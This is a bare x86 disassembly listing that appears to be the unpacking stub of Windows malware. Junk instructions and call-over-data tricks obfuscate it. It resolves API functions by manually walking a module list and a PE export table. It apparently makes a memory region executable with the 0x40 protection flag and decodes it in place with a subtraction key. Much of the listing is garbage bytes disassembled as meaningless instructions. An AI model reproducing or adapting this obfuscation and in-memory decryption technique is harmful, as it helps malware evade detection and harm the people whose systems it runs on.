les eax, [ecx + eax*4]
int1
cdq
jle 0x407a3c
add byte [ecx + 0x8fcec1], al
add byte [ecx + 0x52], bl
add edx, 0x126db
xor edx, 0xee89
pop edx
lea eax, [ebp - 0x1754]
mov dword [ebp - 0xcec], eax
mov ecx, dword [ebp - 0x520]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xce8], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
push ecx
add esp, 4
or edi, 0xeae8
pop edi
push eax
or eax, 0x762d
or eax, 0x1fd0
pop eax
push eax
push esi
add esp, 4
add eax, 0xfec2
jmp 0x407aa6
jmp 0x407aad
pop eax
mov edx, dword [ebp - 0xce8]
mov ax, word [edx]
mov word [ebp - 0x105a], ax
mov ecx, dword [ebp - 0xce8]
add ecx, 2
mov dword [ebp - 0xce8], ecx
mov dx, word [ebp - 0x105a]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xcec]
mov cx, word [eax]
mov word [ebp - 0x105c], cx
mov edx, dword [ebp - 0xcec]
add edx, 2
mov dword [ebp - 0xcec], edx
mov ax, word [ebp - 0x105c]
mov word [ebp - 0x40], ax
push edx
call 0x407b14
add byte [edi + 0x38], al
inc edi
dec ebx
inc edi
cmp eax, dword [eax + ecx*2 - 0x7d]
les eax, [ecx + eax*4]
sub al, 0xc0
add byte [eax], al
or edx, 0x1344f
call 0x407b33
add byte [eax + edx*2], dh
dec ebp
aaa
inc edx
dec esi
dec ebp
cmp eax, 0x4c4834e
pop edx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x407b54
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x169c], edx
jmp 0x407bae
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x407a7c
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x407a7c
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x407b98
mov dword [ebp - 0x1698], 0xffffffff
jmp 0x407ba2
mov dword [ebp - 0x1698], 1
mov ecx, dword [ebp - 0x1698]
mov dword [ebp - 0x169c], ecx
cmp dword [ebp - 0x169c], 0
jne 0x407bf7
push eax
or eax, 0x2298
xor eax, 0x14135
call 0x407bd4
add byte [ebp + 0x4c], al
cmp ecx, dword [ebp + 0x39]
dec ecx
cmp cl, byte [ebx + 0x3f]
aas
add esp, 4
xor eax, 0x11983
pop eax
push ebx
jmp 0x407be8
pop ebx
mov edx, dword [ebp - 0x520]
mov dword [ebp - 0x2d0], edx
jmp 0x407c5f
push ebx
push ebx
add esp, 4
jmp 0x407c04
pop ebx
push esi
sub esi, 0xb98c
xor esi, 0x13aec
or esi, 0xd43b
pop esi
push edi
sub edi, 0x487d
pop edi
push edi
or edi, 0x17551
pop edi
mov eax, dword [ebp - 0x520]
mov ecx, dword [eax]
mov dword [ebp - 0x520], ecx
mov edx, dword [ebp - 0x520]
cmp edx, dword [ebp - 0xcf0]
je 0x407c55
mov eax, dword [ebp - 0x520]
cmp dword [eax + 0x30], 0
jne 0x407a20
mov dword [ebp - 0x2d0], 0
push ecx
push edi
add esp, 4
sub ecx, 0xec6e
call 0x407c7a
add byte [ecx + 0x42], cl
inc eax
dec eax
dec ecx
inc esp
aas
xor esi, dword [esi]
dec edx
add esp, 4
jmp 0x407c83
jmp 0x407c88
pop ecx
push ecx
sub ecx, 0xa5cc
pop ecx
mov ecx, dword [ebp - 0x2d0]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x328], edx
push ecx
add ecx, 0x6232
pop ecx
push edi
push ecx
add esp, 4
add edi, 0x9bdb
xor edi, 0x6c84
jmp 0x407cbf
pop edi
push ecx
push esi
add esp, 4
xor ecx, 0x4f02
sub ecx, 0x4cb
pop ecx
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x16a0], eax
cmp dword [ebp - 0x16a0], 0
jne 0x407d02
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x524], ecx
jmp 0x407ff3
mov edx, dword [ebp - 0x16a0]
mov eax, dword [ebp - 0x328]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x16a4], eax
jne 0x407d2a
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x524], ecx
jmp 0x407ff3
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x16a4]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x16a8], edx
cmp dword [ebp - 0x16a8], 0
jne 0x407d5c
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x524], eax
jmp 0x407ff3
mov ecx, dword [ebp - 0x328]
add ecx, dword [ebp - 0x16a8]
mov dword [ebp - 0x77c], ecx
jne 0x407d81
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x524], edx
jmp 0x407ff3
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x328]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1a08], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x328]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1a0c], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x328]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a10], edx
mov dword [ebp - 0x780], 0
jmp 0x407ddb
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x780]
cmp edx, dword [ecx + 0x18]
jae 0x407fe7
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x1a08]
mov edx, dword [ebp - 0x328]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x1a0c]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1a10]
mov ecx, dword [ebp - 0x328]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a14], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x407e4b
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407efd
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9e8]
test eax, eax
je 0x407efd
push esi
call 0x407e86
add byte [eax + 0x43], al
xor eax, dword [ebx + 0x3e]
cmp eax, dword [esi - 0x7d]
les eax, [ecx + eax*4]
invalid
push edx
push edx
add esp, 4
and edx, 0x8846
sub edx, 0xe4d3
sub edx, 0x28b9
sub edx, 0xb36a
pop edx
push ebx
jmp 0x407f22
or ebx, 0xc619
add ebx, 0xcc44
pop ebx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9e8]
cmp ecx, eax
jne 0x407f5c
mov dword [ebp - 0xcf4], 0
jmp 0x407fcb
push ecx
push ebx
add esp, 4
sub ecx, 0x846
pop ecx
push esi
push esi
add esp, 4
add esi, 0x140f4
add esi, 0x18665
pop esi
push ecx
add ecx, 0x127ab
or ecx, 0x2e1e
and ecx, 0xd518
pop ecx
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9e8]
or ecx, 0x20
cmp edx, ecx
jge 0x407fc1
mov dword [ebp - 0xcf4], 0xffffffff
jmp 0x407fcb
mov dword [ebp - 0xcf4], 1
cmp dword [ebp - 0xcf4], 0
jne 0x407fe2
mov edx, dword [ebp - 0x1a14]
mov dword [ebp - 0x524], edx
jmp 0x407ff3
jmp 0x407dcc
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0xac0], ecx
push esi
xor esi, 0xd073
xor esi, 0xf480
pop esi
push edx
push eax
add esp, 4
sub edx, 0x14e78
pop edx
push ebx
push edi
add esp, 4
and ebx, 0x17cb1
jmp 0x40802a
or ebx, 0x79f1
pop ebx
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x1a18], edx
lea eax, [ebp - 0xcf8]
push eax
push 0x40
mov ecx, dword [ebp - 0x16ac]
push ecx
mov edx, dword [ebp - 0x3fc]
push edx
call dword [ebp - 0x1a18]
test eax, eax
jne 0x4080a4
push esi
and esi, 0x8cb
pop esi
push esi
push ecx
add esp, 4
call 0x408079
add byte [eax + 0x4d], dl
cmp al, 0x43
inc esp
aaa
inc eax
dec edx
add esp, 4
jmp 0x408083
sub esi, 0x15482
sub esi, 0x13a9f
pop esi
mov eax, dword [ebp - 0x790]
mov dword [ebp - 0x1a1c], eax
push 0
call dword [ebp - 0x1a1c]
mov ecx, dword [ebp - 0x1a20]
mov dword [ebp - 0x78c], ecx
jmp 0x4080c1
mov edx, dword [ebp - 0x78c]
add edx, 1
mov dword [ebp - 0x78c], edx
mov eax, dword [ebp - 0x78c]
cmp eax, dword [ebp - 0xac4]
jae 0x40811d
push ecx
call 0x4080dd
add byte [edi], dh
dec ecx
inc ebp
aas
xor esi, dword ds:[edi]
add esp, 4
add ecx, 0xd507
add ecx, 0x184a2
and ecx, 0x136f1
pop ecx
push eax
push ecx
add esp, 4
jmp 0x408100
pop eax
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x78c]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x78c]
mov byte [ecx], al
jmp 0x4080b2
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x1a24], edx
lea eax, [ebp - 0xcf8]
push eax
mov ecx, dword [ebp - 0xcf8]
push ecx
mov edx, dword [ebp - 0x16ac]
push edx
mov eax, dword [ebp - 0x3fc]
push eax
call dword [ebp - 0x1a24]
test eax, eax
jne 0x408195
push esi
call 0x40815c
add byte [eax + 0x45], al
cmp al, 0x48
cmp dword [edx - 0x7d], ecx
les eax, [ebx + ebp*8]
pop es
dec ebp
inc esi
inc edi
cmp dword [edi], esi
aas
and esi, 0x152ab
pop esi
push esi
push ecx
add esp, 4
and esi, 0x13009
and esi, 0xa78e
pop esi
mov ecx, dword [ebp - 0x790]
mov dword [ebp - 0x1a28], ecx
push 0
call dword [ebp - 0x1a28]
push ecx
xor ecx, 0x16b85
call 0x4081aa
add byte [eax + 0x35], al
inc ebp
cmp byte [eax + 0x42], dl
aaa
dec esp
add esp, 4
call 0x4081bd
add byte [ecx + 0x37], cl
dec ebp
push eax
push eax
xor al, 0x47
dec ebp
dec eax
xor al, byte [ebx - 0x367efb3c]
sub esp, dword [ebx]
add dword [eax], eax
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff06ff
pop ecx
pop ebp
pop eax
mov edx, ecx
or al, byte [edi + 0x74acefd]
push es
push esi
push esi
mov edx, ecx
or al, byte [edi + 0x674d8c6]
push es
xchg esi, eax
push ss
jecxz 0x4081f7
push es
xchg esi, eax
mov ecx, 0x5e060691
push es
pop esi
pop esp
xchg esp, edi
mov esi, 0x8706073e
cld
pop es
push es
xchg esp, edi
loope 0x4081fd
push es
push es
int3